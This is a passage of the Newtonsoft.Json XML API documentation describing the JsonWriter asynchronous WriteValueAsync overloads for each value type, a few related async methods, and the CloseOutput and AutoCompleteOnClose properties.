<param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Boolean},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Byte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Byte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Byte[],System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Char,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Char},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.DateTime,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.DateTime},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.DateTimeOffset,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.DateTimeOffset},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Decimal,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Decimal},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Double,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Double},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Single,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Single},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Guid,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Guid},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Object\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.SByte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.SByte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.TimeSpan,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.TimeSpan},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Uri,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefinedAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an undefined value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespaceAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteStateAsync(Newtonsoft.Json.JsonToken,System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously ets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\">\n            <summary>\n            Gets or sets a value indicating whether the destination should be closed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the destination when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\">\n            <summary>\n            Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to auto-complete the JSON when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member 